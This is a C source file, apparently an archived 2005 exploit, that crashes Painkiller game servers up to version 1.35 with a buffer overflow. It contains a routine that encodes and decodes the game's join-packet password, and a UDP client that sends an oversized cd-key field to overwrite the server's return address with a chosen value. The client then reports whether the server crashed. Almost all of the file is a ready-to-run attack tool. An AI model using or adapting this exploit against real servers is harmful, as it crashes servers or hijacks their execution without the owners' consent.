530 lines
No EOL
16 KiB
C
530 lines
No EOL
16 KiB
C
/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <time.h>
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/*
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Painkiller packet's password encoder/decoder 0.1
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by Luigi Auriemma
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e-mail: aluigi@autistici.org
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web: http://aluigi.altervista.org
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INTRODUCTION
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============
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When you want to join a password protected game server of Painkiller
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(http://www.painkillergame.com) your client sends a packet containing
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the packet ID (0x04), your client version, the 72 bytes of the Gamespy
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auth key (http://aluigi.altervista.org/papers/gskey-auth.txt) plus a
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"strange" text string after it.
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This text string is just the password you have used to join and it is
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encrypted using the other text string (the server challenge) sent by
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the server in its previous packet.
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My optimized algorithm is able to decode/encode the password stored in
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the packet sent by the client.
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HOW TO USE
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==========
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The function is an algorithm used for both encoding and decoding
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without differences.
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It needs only 2 parameters:
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- pwd: the client's password stored in the packet
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- enc: the server challenge string
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Example:
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#include "painkiller_pckpwd.h"
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unsigned char pwd[] = "5mjblOpV8N",
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enc[] = "k7bEv4cGcw";
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painkiller_pckpwd(pwd, enc);
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printf("Password: %s\n", pwd); // the password is "mypassword"
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LICENSE
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=======
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Copyright 2004 Luigi Auriemma
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This program is free software; you can redistribute it and/or modify
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it under the terms of the GNU General Public License as published by
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the Free Software Foundation; either version 2 of the License, or
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(at your option) any later version.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You should have received a copy of the GNU General Public License
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along with this program; if not, write to the Free Software
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Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
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http://www.gnu.org/licenses/gpl.txt
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*/
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/* Inserted painkiller_pckpwd.h, winerr.h /str0ke */
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void painkiller_pckpwd(unsigned char *pwd, unsigned char *enc) {
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unsigned char buff[64],
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encbuff[64],
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*p1,
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*p2;
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int len,
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i,
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cl,
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dl,
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esi,
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edi;
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p1 = pwd;
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while(1) {
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if((*p1 >= '0') && (*p1 <= '9')) {
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*p1 -= 0x30;
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} else if((*p1 >= 'a') && (*p1 <= 'z')) {
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*p1 -= 0x57;
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} else if((*p1 >= 'A') && (*p1 <= '\\')) {
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*p1 -= 0x1d;
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} else {
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break;
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}
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p1++;
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}
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len = p1 - pwd;
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p1 = buff;
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for(i = 0; i < 64; i++) {
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*p1++ = i;
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}
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p1 = enc;
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p2 = encbuff;
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for(i = 0; i < 64; i++) {
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*p2++ = *p1++;
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if(!*p1) p1 = enc;
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}
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p1 = buff;
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p2 = encbuff;
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for(i = esi = 0; i < 64; i++) {
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cl = *p1;
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esi = (*p2 + cl + esi) & 63;
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*p1++ = buff[esi];
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buff[esi] = cl;
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p2++;
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}
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esi = edi = 0;
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p1 = pwd;
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for(i = 0; i < len; i++) {
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esi = (esi + 1) & 63;
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cl = buff[esi];
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edi = (cl + edi) & 63;
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dl = buff[edi];
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buff[esi] = dl;
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buff[edi] = cl;
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*p1++ ^= buff[(dl + cl) & 63];
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}
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p1 = pwd;
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while(len--) {
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if(*p1 <= 9) {
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*p1 += 0x30;
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} else if((*p1 >= 0xa) && (*p1 <= 0x23)) {
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*p1 += 0x57;
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} else {
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*p1 += 0x1d;
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}
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p1++;
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}
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}
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#ifdef WIN32
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#include <winsock.h>
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/*
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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#define close closesocket
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#endif
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#define VER "0.1"
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#define BUFFSZ 8192
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#define PORT 3455
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#define TIMEOUT 3
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#define CONN "\xff\xff\xff\xff\x02"
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#define JOIN1 "\xff\xff\xff\xff\x04"
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#define EIP "AAAA" /* alpha-numeric only! (1 - 9, A - Z and a - z) */
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#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
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< 0) std_err();
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#define REALRECV len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
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if(len < 0) std_err(); \
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buff[len] = 0x00;
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#define RECV if(timeout(sd) < 0) { \
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fputs("\nError: socket timeout, no reply received\n", stdout); \
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exit(1); \
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} \
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REALRECV;
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u_char *show_info(u_char *buff, int len);
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int timeout(int sock);
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u_long resolv(char *host);
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void std_err(void);
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int main(int argc, char *argv[]) {
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struct sockaddr_in peer;
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int sd,
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len,
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verlen = 0,
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j,
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join2len;
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u_short port = PORT;
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u_char buff[BUFFSZ + 1],
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password[32],
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server_chall[32],
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*p,
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*gamever = NULL,
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info[] =
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"\xfe\xfd\x00" "\x00\x00\x00\x00" "\xff\x00\x00",
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bof[] =
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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EIP,
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*join2[] = {
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"122.304", /* 0 = 1.6 */
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"105.263", /* 1 = 1.3 */
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"105.262", /* 2 = 1.2 */
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"101.258", /* 3 = 1.1 */
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NULL
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};
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setbuf(stdout, NULL);
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fputs("\n"
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"Painkiller <= 1.35 in-game cd-key alpha-numeric buffer-overflow "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@autistici.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 2) {
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printf("\n"
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"Usage: %s <host> [port(%d)]\n"
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"\n"
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" Return address will be overwritten with 0x%08lx.\n"
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" Only alpha-numeric return addresses are allowed\n"
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"\n", argv[0], port, *(u_long *)EIP);
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exit(1);
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}
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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if(argc > 2) port = atoi(argv[2]);
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peer.sin_addr.s_addr = resolv(argv[1]);
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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printf("- target %s : %hu\n",
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inet_ntoa(peer.sin_addr), port);
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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fputs("- request informations:\n", stdout);
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*(u_long *)(info + 3) = ~time(NULL);
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SEND(info, sizeof(info) - 1);
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RECV;
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close(sd);
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gamever = show_info(buff, len);
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if(!gamever) {
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fputs("\nError: no game version in the information reply\n\n", stdout);
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exit(1);
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}
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verlen = strlen(gamever) + 1;
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*password = 0x00;
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j = 0;
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join2len = strlen(join2[j]) + 1;
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printf("- try client script version %s\n", join2[j]);
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for(;;) { /* for passwords only */
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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fputs("\n- send connection request packet\n", stdout);
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SEND(CONN, sizeof(CONN) - 1);
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RECV;
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strncpy(server_chall, buff + 5, sizeof(server_chall) - 1);
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server_chall[sizeof(server_chall) - 1] = 0x00;
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printf("- server challenge: %s\n", server_chall);
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p = (u_char *)memcpy(buff, JOIN1, sizeof(JOIN1) - 1) +
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sizeof(JOIN1) - 1;
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p = (u_char *)memcpy(p, gamever, verlen) +
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verlen;
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p = (u_char *)memcpy(p, join2[j], join2len) +
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join2len;
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p = (u_char *)memcpy(p, bof, sizeof(bof)) + /* Gamespy cd-key */
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sizeof(bof); /* plus buffer-overflow */
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if(!j) { /* new 1.6 protocol */
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*p++ = 0x00;
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} else { /* old protocol */
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*(u_long *)p = 0x00000000;
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p += 4;
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}
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len = strlen(password) + 1;
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memcpy(p, password, len);
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painkiller_pckpwd(p, server_chall);
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p += len;
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if(!j) *p++ = 0x01; /* new 1.6 protocol */
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*(u_long *)p = time(NULL);
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p += 4;
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printf("- send the buffer-overflow packet (EIP = 0x%08lx)\n", *(u_long *)EIP);
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SEND(buff, p - buff);
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fputs("- wait some seconds...\n", stdout);
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if(timeout(sd) < 0) break;
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REALRECV;
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if(!buff[4]) {
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if(buff[5] == 1) {
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free(gamever);
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gamever = strdup(buff + 6);
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verlen = strlen(gamever) + 1;
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printf("\n- force game version to %s\n", gamever);
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if(buff[6 + verlen] == '?') {
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if(!join2[++j]) {
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fputs("\nError: this server uses an unknown client script version\n\n", stdout);
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exit(1);
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}
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join2len = strlen(join2[j]) + 1;
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printf("\n- try client script version %s\n", join2[j]);
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}
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close(sd);
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continue;
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} else if(buff[5] == 2) {
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if(!join2[++j]) {
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fputs("\nError: this server uses an unknown client script version\n\n", stdout);
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exit(1);
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}
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join2len = strlen(join2[j]) + 1;
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printf("\n- try client script version %s\n", join2[j]);
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close(sd);
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continue;
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} else if(buff[5] == 3) {
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fputs("- server is protected by password, insert it:\n ", stdout);
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fflush(stdin);
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fgets(password, sizeof(password) - 1, stdin);
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password[strlen(password) - 1] = 0x00;
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close(sd);
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continue;
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} else if(buff[5] == 13) {
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fputs("\n"
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"- the server is NOT vulnerable, it has replied with the error 13:\n"
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" Challenge response too long!\n", stdout);
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break;
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}
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printf("\nError: %s\n", buff + 6);
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exit(1);
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}
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fputs("- seems the server is not vulnerable since it is not crashed yet\n", stdout);
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break;
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}
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fputs("\n- check server:\n", stdout);
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SEND(info, sizeof(info) - 1);
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if(timeout(sd) < 0) {
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fputs("\nServer IS vulnerable!!!\n\n", stdout);
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} else {
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fputs("\nServer doesn't seem vulnerable\n\n", stdout);
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}
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close(sd);
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return(0);
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}
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u_char *show_info(u_char *buff, int len) {
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u_char *p1,
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*p2,
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*limit,
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*ver = NULL;
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int nt = 0,
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doit = 0;
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limit = buff + len;
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p1 = buff + 5;
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while(p1 < limit) {
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p2 = strchr(p1, 0x00);
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if(!p2) break;
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*p2 = 0x00;
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if(!nt) {
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if(!*p1) break;
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if(!strcmp(p1, "gamever")) doit = 1;
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printf("%30s: ", p1);
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nt++;
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} else {
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if(doit) {
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ver = strdup(p1);
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doit = 0;
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}
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printf("%s\n", p1);
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nt = 0;
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}
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p1 = p2 + 1;
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}
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fputc('\n', stdout);
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return(ver);
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}
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int timeout(int sock) {
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struct timeval tout;
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fd_set fd_read;
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int err;
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tout.tv_sec = TIMEOUT;
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tout.tv_usec = 0;
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FD_ZERO(&fd_read);
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FD_SET(sock, &fd_read);
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err = select(sock + 1, &fd_read, NULL, NULL, &tout);
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if(err < 0) std_err();
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if(!err) return(-1);
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return(0);
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}
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u_long resolv(char *host) {
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struct hostent *hp;
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u_long host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolv hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_long *)hp->h_addr;
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}
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return(host_ip);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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// milw0rm.com [2005-02-02]
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